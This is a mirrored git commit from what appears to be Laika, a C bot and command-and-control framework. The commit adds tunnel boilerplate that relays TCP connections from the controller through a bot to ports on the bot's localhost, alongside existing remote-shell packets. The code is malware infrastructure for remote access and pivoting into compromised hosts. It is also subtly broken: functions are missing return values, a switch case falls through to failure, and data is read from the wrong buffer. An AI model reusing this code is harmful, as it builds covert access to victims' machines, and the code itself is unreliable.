mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-24 05:31:03 +00:00
Added Tunnel & Tunnel Connection boilerplate to lib
This commit is contained in:
parent
42199fc7c9
commit
a4dc723e15
3
.vscode/settings.json
vendored
3
.vscode/settings.json
vendored
@ -28,7 +28,8 @@
|
|||||||
"lerror.h": "c",
|
"lerror.h": "c",
|
||||||
"stdbool.h": "c",
|
"stdbool.h": "c",
|
||||||
"alloca.h": "c",
|
"alloca.h": "c",
|
||||||
"bot.h": "c"
|
"bot.h": "c",
|
||||||
|
"string_view": "c"
|
||||||
},
|
},
|
||||||
"cSpell.words": [
|
"cSpell.words": [
|
||||||
"cnc's",
|
"cnc's",
|
||||||
|
@ -188,7 +188,7 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
|
|||||||
cnc->authPeersCount = 0;
|
cnc->authPeersCount = 0;
|
||||||
|
|
||||||
/* init socket & pollList */
|
/* init socket & pollList */
|
||||||
laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL);
|
laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL); /* we just need it for the raw socket fd and abstracted API :) */
|
||||||
laikaP_initPList(&cnc->pList);
|
laikaP_initPList(&cnc->pList);
|
||||||
|
|
||||||
/* bind sock to port */
|
/* bind sock to port */
|
||||||
|
@ -53,6 +53,30 @@ enum {
|
|||||||
/* layout of LAIKAPKT_HANDSHAKE_RES:
|
/* layout of LAIKAPKT_HANDSHAKE_RES:
|
||||||
* uint8_t cncEndian;
|
* uint8_t cncEndian;
|
||||||
*/
|
*/
|
||||||
|
LAIKAPKT_TUNNEL_OPEN, /* if sent to bot, opens a tunnel to localhost's port. if sent to cnc, signifies you opened the tunnel */
|
||||||
|
/* layout of LAIKAPKT_TUNNEL_OPEN:
|
||||||
|
* uint16_t port;
|
||||||
|
*/
|
||||||
|
LAIKAPKT_TUNNEL_CLOSE, /* if sent to bot, closes a tunnel to localhost's port. if sent to cnc, signifies you closed the tunnel */
|
||||||
|
/* layout of LAIKAPKT_TUNNEL_CLOSE:
|
||||||
|
* uint16_t port;
|
||||||
|
*/
|
||||||
|
LAIKAPKT_TUNNEL_CONNECTION_ADD,
|
||||||
|
/* layout of LAIKAPKT_TUNNEL_CONNECTION_ADD:
|
||||||
|
* uint16_t port;
|
||||||
|
* uint16_t id;
|
||||||
|
*/
|
||||||
|
LAIKAPKT_TUNNEL_CONNECTION_RMV,
|
||||||
|
/* layout of LAIKAPKT_TUNNEL_CONNECTION_RMV:
|
||||||
|
* uint16_t port;
|
||||||
|
* uint16_t id;
|
||||||
|
*/
|
||||||
|
LAIKAPKT_TUNNEL_CONNECTION_DATA,
|
||||||
|
/* layout of LAIKAPKT_TUNNEL_CONNECTION_RMV:
|
||||||
|
* uint16_t port;
|
||||||
|
* uint16_t id;
|
||||||
|
* uint8_t data[VAR_PACKET_LENGTH-4]; -- '-4' for the port & id
|
||||||
|
*/
|
||||||
LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */
|
LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */
|
||||||
/* layout of LAIKAPKT_SHELL_OPEN:
|
/* layout of LAIKAPKT_SHELL_OPEN:
|
||||||
* uint16_t cols;
|
* uint16_t cols;
|
||||||
|
34
lib/include/ltunnel.h
Normal file
34
lib/include/ltunnel.h
Normal file
@ -0,0 +1,34 @@
|
|||||||
|
#ifndef SHELLTUNNEL_H
|
||||||
|
#define SHELLTUNNEL_H
|
||||||
|
|
||||||
|
#include <inttypes.h>
|
||||||
|
|
||||||
|
#include "lmem.h"
|
||||||
|
#include "lsocket.h"
|
||||||
|
#include "lpeer.h"
|
||||||
|
#include "lpolllist.h"
|
||||||
|
|
||||||
|
struct sLaika_tunnel;
|
||||||
|
struct sLaika_tunnelConnection {
|
||||||
|
struct sLaika_socket sock;
|
||||||
|
struct sLaika_tunnel *tunnel;
|
||||||
|
struct sLaika_tunnelConnection *next;
|
||||||
|
uint16_t id;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct sLaika_tunnel {
|
||||||
|
struct sLaika_tunnelConnection *connectionHead;
|
||||||
|
struct sLaika_peer *peer;
|
||||||
|
uint16_t port;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct sLaika_tunnel *laikaT_newTunnel(struct sLaika_peer *peer, uint16_t port);
|
||||||
|
void laikaT_freeTunnel(struct sLaika_tunnel *tunnel);
|
||||||
|
|
||||||
|
struct sLaika_tunnelConnection *laikaT_newConnection(struct sLaika_tunnel *tunnel, uint16_t id);
|
||||||
|
void laikaT_freeConnection(struct sLaika_tunnelConnection *connection);
|
||||||
|
|
||||||
|
void laikaT_forwardData(struct sLaika_tunnelConnection *connection, struct sLaika_pollList *pList, void *data, size_t sz);
|
||||||
|
struct sLaika_tunnelConnection *laikaT_getConnection(struct sLaika_tunnel *tunnel, uint16_t id);
|
||||||
|
|
||||||
|
#endif
|
@ -5,7 +5,13 @@
|
|||||||
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct sLaika_pollList *pList, pollFailEvent onPollFail, void *onPollFailUData, void *uData) {
|
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct sLaika_pollList *pList, pollFailEvent onPollFail, void *onPollFailUData, void *uData) {
|
||||||
struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer));
|
struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer));
|
||||||
|
|
||||||
laikaS_initSocket(&peer->sock, laikaS_handlePeerIn, laikaS_handlePeerOut, onPollFail, onPollFailUData);
|
laikaS_initSocket(&peer->sock,
|
||||||
|
laikaS_handlePeerIn,
|
||||||
|
laikaS_handlePeerOut,
|
||||||
|
onPollFail,
|
||||||
|
onPollFailUData
|
||||||
|
);
|
||||||
|
|
||||||
peer->packetTbl = pktTbl;
|
peer->packetTbl = pktTbl;
|
||||||
peer->pList = pList;
|
peer->pList = pList;
|
||||||
peer->uData = uData;
|
peer->uData = uData;
|
||||||
@ -150,7 +156,6 @@ void laikaS_setSecure(struct sLaika_peer *peer, bool flag) {
|
|||||||
|
|
||||||
bool laikaS_handlePeerIn(struct sLaika_socket *sock) {
|
bool laikaS_handlePeerIn(struct sLaika_socket *sock) {
|
||||||
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
|
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
|
||||||
RAWSOCKCODE err;
|
|
||||||
int recvd;
|
int recvd;
|
||||||
|
|
||||||
switch (peer->pktID) {
|
switch (peer->pktID) {
|
||||||
@ -229,7 +234,6 @@ bool laikaS_handlePeerIn(struct sLaika_socket *sock) {
|
|||||||
|
|
||||||
bool laikaS_handlePeerOut(struct sLaika_socket *sock) {
|
bool laikaS_handlePeerOut(struct sLaika_socket *sock) {
|
||||||
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
|
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
|
||||||
RAWSOCKCODE err;
|
|
||||||
int sent;
|
int sent;
|
||||||
|
|
||||||
if (peer->sock.outCount == 0) /* sanity check */
|
if (peer->sock.outCount == 0) /* sanity check */
|
||||||
|
@ -30,7 +30,7 @@ void laikaS_init(void) {
|
|||||||
|
|
||||||
void laikaS_cleanUp(void) {
|
void laikaS_cleanUp(void) {
|
||||||
if (--_LNSetup > 0)
|
if (--_LNSetup > 0)
|
||||||
return; /* WSA still needs to be up, a FoxNet peer is still using it */
|
return; /* WSA still needs to be up, a socket is still running */
|
||||||
|
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
WSACleanup();
|
WSACleanup();
|
||||||
@ -119,6 +119,7 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
|
|||||||
void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
|
void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
|
||||||
socklen_t addressSize;
|
socklen_t addressSize;
|
||||||
struct sockaddr_in address;
|
struct sockaddr_in address;
|
||||||
|
int opt = 1;
|
||||||
|
|
||||||
if (!SOCKETINVALID(sock->sock))
|
if (!SOCKETINVALID(sock->sock))
|
||||||
LAIKA_ERROR("socket already setup!\n");
|
LAIKA_ERROR("socket already setup!\n");
|
||||||
@ -129,7 +130,6 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
|
|||||||
LAIKA_ERROR("socket() failed!\n");
|
LAIKA_ERROR("socket() failed!\n");
|
||||||
|
|
||||||
/* attach socket to the port */
|
/* attach socket to the port */
|
||||||
int opt = 1;
|
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, (const char*)&opt, sizeof(int)) != 0)
|
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, (const char*)&opt, sizeof(int)) != 0)
|
||||||
#else
|
#else
|
||||||
@ -279,7 +279,7 @@ void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz) {
|
|||||||
|
|
||||||
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed) {
|
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed) {
|
||||||
RAWSOCKCODE errCode = RAWSOCK_OK;
|
RAWSOCKCODE errCode = RAWSOCK_OK;
|
||||||
int rcvd, start = sock->inCount;
|
int i, rcvd, start = sock->inCount;
|
||||||
|
|
||||||
/* sanity check */
|
/* sanity check */
|
||||||
if (sz == 0)
|
if (sz == 0)
|
||||||
@ -302,7 +302,6 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed
|
|||||||
} else if (rcvd > 0) {
|
} else if (rcvd > 0) {
|
||||||
#ifdef DEBUG
|
#ifdef DEBUG
|
||||||
/* for debugging */
|
/* for debugging */
|
||||||
int i;
|
|
||||||
printf("---recv'd %d bytes---\n", rcvd);
|
printf("---recv'd %d bytes---\n", rcvd);
|
||||||
for (i = 1; i <= rcvd; i++) {
|
for (i = 1; i <= rcvd; i++) {
|
||||||
printf("%.2x ", sock->inBuf[sock->inCount + (i-1)]);
|
printf("%.2x ", sock->inBuf[sock->inCount + (i-1)]);
|
||||||
|
168
lib/src/ltunnel.c
Normal file
168
lib/src/ltunnel.c
Normal file
@ -0,0 +1,168 @@
|
|||||||
|
#include "lmem.h"
|
||||||
|
#include "lpeer.h"
|
||||||
|
#include "lpacket.h"
|
||||||
|
#include "lpolllist.h"
|
||||||
|
#include "ltunnel.h"
|
||||||
|
|
||||||
|
struct sLaika_tunnel *laikaT_newTunnel(struct sLaika_peer *peer, uint16_t port) {
|
||||||
|
struct sLaika_tunnel *tunnel = (struct sLaika_tunnel*)laikaM_malloc(sizeof(struct sLaika_tunnel));
|
||||||
|
|
||||||
|
tunnel->port = port;
|
||||||
|
tunnel->peer = peer;
|
||||||
|
tunnel->connectionHead = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
void laikaT_freeTunnel(struct sLaika_tunnel *tunnel) {
|
||||||
|
struct sLaika_tunnelConnection *con = tunnel->connectionHead, *last;
|
||||||
|
struct sLaika_socket *sock = &tunnel->peer->sock;
|
||||||
|
|
||||||
|
/* free & close connections */
|
||||||
|
while (con != NULL) {
|
||||||
|
last = con;
|
||||||
|
con = con->next;
|
||||||
|
|
||||||
|
/* free connection */
|
||||||
|
laikaT_freeConnection(last);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* tell peer tunnel is closed */
|
||||||
|
laikaS_startOutPacket(tunnel->peer, LAIKAPKT_TUNNEL_CLOSE);
|
||||||
|
laikaS_writeInt(sock, &tunnel->port, sizeof(uint16_t));
|
||||||
|
laikaS_endOutPacket(tunnel->peer);
|
||||||
|
|
||||||
|
/* finally, free the tunnel */
|
||||||
|
laikaM_free(tunnel);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool laikaT_handlePeerIn(struct sLaika_socket *sock) {
|
||||||
|
struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)sock;
|
||||||
|
struct sLaika_tunnel *tunnel = con->tunnel;
|
||||||
|
struct sLaika_peer *peer = tunnel->peer;
|
||||||
|
int recvd;
|
||||||
|
|
||||||
|
/* read data */
|
||||||
|
switch (laikaS_rawRecv(&con->sock, LAIKA_MAX_PKTSIZE - (sizeof(uint16_t) + sizeof(uint16_t)), &recvd)) { /* - 4 since we need room in the packet for the id & port */
|
||||||
|
case RAWSOCK_OK: /* we're ok! forward data to peer */
|
||||||
|
laikaS_startVarPacket(peer, LAIKAPKT_TUNNEL_CONNECTION_DATA);
|
||||||
|
laikaS_writeInt(&peer->sock, &tunnel->port, sizeof(uint16_t));
|
||||||
|
laikaS_writeInt(&peer->sock, &con->id, sizeof(uint16_t));
|
||||||
|
|
||||||
|
/* write data we just read, from sock's inBuf to sock's out */
|
||||||
|
laikaS_write(&peer->sock, (void*)peer->sock.inBuf, recvd);
|
||||||
|
laikaS_consumeRead(&peer->sock, recvd);
|
||||||
|
|
||||||
|
/* end variadic packet */
|
||||||
|
laikaS_endVarPacket(peer);
|
||||||
|
default: /* panic! */
|
||||||
|
case RAWSOCK_CLOSED:
|
||||||
|
case RAWSOCK_ERROR:
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bool laikaT_handlePeerOut(struct sLaika_socket *sock) {
|
||||||
|
struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)sock;
|
||||||
|
struct sLaika_peer *peer = con->tunnel->peer;
|
||||||
|
int sent;
|
||||||
|
|
||||||
|
if (peer->sock.outCount == 0) /* sanity check */
|
||||||
|
return true;
|
||||||
|
|
||||||
|
switch (laikaS_rawSend(&con->sock, con->sock.outCount, &sent)) {
|
||||||
|
case RAWSOCK_OK: /* we're ok! */
|
||||||
|
/* if POLLOUT was set, unset it */
|
||||||
|
laikaP_rmvPollOut(peer->pList, &con->sock);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
case RAWSOCK_POLL: /* we've been asked to set the POLLOUT flag */
|
||||||
|
/* if POLLOUT wasn't set, set it so we'll be notified whenever the kernel has room :) */
|
||||||
|
laikaP_addPollOut(peer->pList, &con->sock);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
default: /* panic! */
|
||||||
|
case RAWSOCK_CLOSED:
|
||||||
|
case RAWSOCK_ERROR:
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void laikaT_onPollFail(struct sLaika_socket *sock, void *uData) {
|
||||||
|
struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)sock;
|
||||||
|
|
||||||
|
/* kill connection on failure */
|
||||||
|
laikaT_freeConnection(con);
|
||||||
|
}
|
||||||
|
|
||||||
|
struct sLaika_tunnelConnection *laikaT_newConnection(struct sLaika_tunnel *tunnel, uint16_t id) {
|
||||||
|
struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)laikaM_malloc(sizeof(struct sLaika_tunnelConnection)), *last = NULL;
|
||||||
|
|
||||||
|
/* we handle the socket events */
|
||||||
|
laikaS_initSocket(&con->sock,
|
||||||
|
laikaT_handlePeerIn,
|
||||||
|
laikaT_handlePeerOut,
|
||||||
|
laikaT_onPollFail,
|
||||||
|
NULL
|
||||||
|
);
|
||||||
|
|
||||||
|
con->tunnel = tunnel;
|
||||||
|
con->next = NULL;
|
||||||
|
con->id = id;
|
||||||
|
|
||||||
|
/* insert into connection list */
|
||||||
|
if (tunnel->connectionHead == NULL) {
|
||||||
|
tunnel->connectionHead = con;
|
||||||
|
return con;
|
||||||
|
} else {
|
||||||
|
last = tunnel->connectionHead;
|
||||||
|
tunnel->connectionHead = con;
|
||||||
|
con->next = last;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void laikaT_freeConnection(struct sLaika_tunnelConnection *connection) {
|
||||||
|
struct sLaika_tunnel *tunnel = connection->tunnel;
|
||||||
|
struct sLaika_tunnelConnection *curr, *last = NULL;
|
||||||
|
|
||||||
|
curr = tunnel->connectionHead;
|
||||||
|
/* while we haven't reached the end of the list & we haven't found our connection */
|
||||||
|
while (curr && curr != connection) {
|
||||||
|
last = curr;
|
||||||
|
curr = curr->next;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (last) {
|
||||||
|
/* unlink from list */
|
||||||
|
last->next = connection->next;
|
||||||
|
} else { /* connectionHead was NULL, or connection *was* the connectionHead. */
|
||||||
|
tunnel->connectionHead = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* tell peer connection is removed */
|
||||||
|
laikaS_startOutPacket(tunnel->peer, LAIKAPKT_TUNNEL_CONNECTION_RMV);
|
||||||
|
laikaS_writeInt(&tunnel->peer->sock, &tunnel->port, sizeof(uint16_t));
|
||||||
|
laikaS_writeInt(&tunnel->peer->sock, &connection->id, sizeof(uint16_t));
|
||||||
|
laikaS_endOutPacket(tunnel->peer);
|
||||||
|
|
||||||
|
/* finally, free our connection */
|
||||||
|
laikaS_kill(&connection->sock);
|
||||||
|
}
|
||||||
|
|
||||||
|
void laikaT_forwardData(struct sLaika_tunnelConnection *connection, struct sLaika_pollList *pList, void *data, size_t sz) {
|
||||||
|
struct sLaika_tunnel *tunnel = connection->tunnel;
|
||||||
|
|
||||||
|
/* write data to socket, push to pollList's out queue */
|
||||||
|
laikaS_write(&connection->sock, data, sz);
|
||||||
|
laikaP_pushOutQueue(pList, &connection->sock);
|
||||||
|
}
|
||||||
|
|
||||||
|
struct sLaika_tunnelConnection *laikaT_getConnection(struct sLaika_tunnel *tunnel, uint16_t id) {
|
||||||
|
struct sLaika_tunnelConnection *curr = tunnel->connectionHead;
|
||||||
|
|
||||||
|
/* search for the id in the linked list. curr->next is guaranteed to be NULL at the end of the list */
|
||||||
|
while (curr && curr->id != id)
|
||||||
|
curr = curr->next;
|
||||||
|
|
||||||
|
/* returns NULL if not found, or the found connection :) */
|
||||||
|
return curr;
|
||||||
|
}
|
Loading…
Reference in New Issue
Block a user